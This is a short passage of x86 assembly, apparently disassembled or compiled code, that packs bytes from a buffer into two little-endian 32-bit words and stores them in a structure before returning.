or ecx, eax
movzx eax, byte [edx]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x38], ecx
movzx ecx, byte [edx + 7]
movzx eax, byte [edx + 6]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 4]
shl ecx, 8
or ecx, eax
mov eax, edi
mov dword [edi + 0x3c], ecx
pop edi
pop esi
ret 8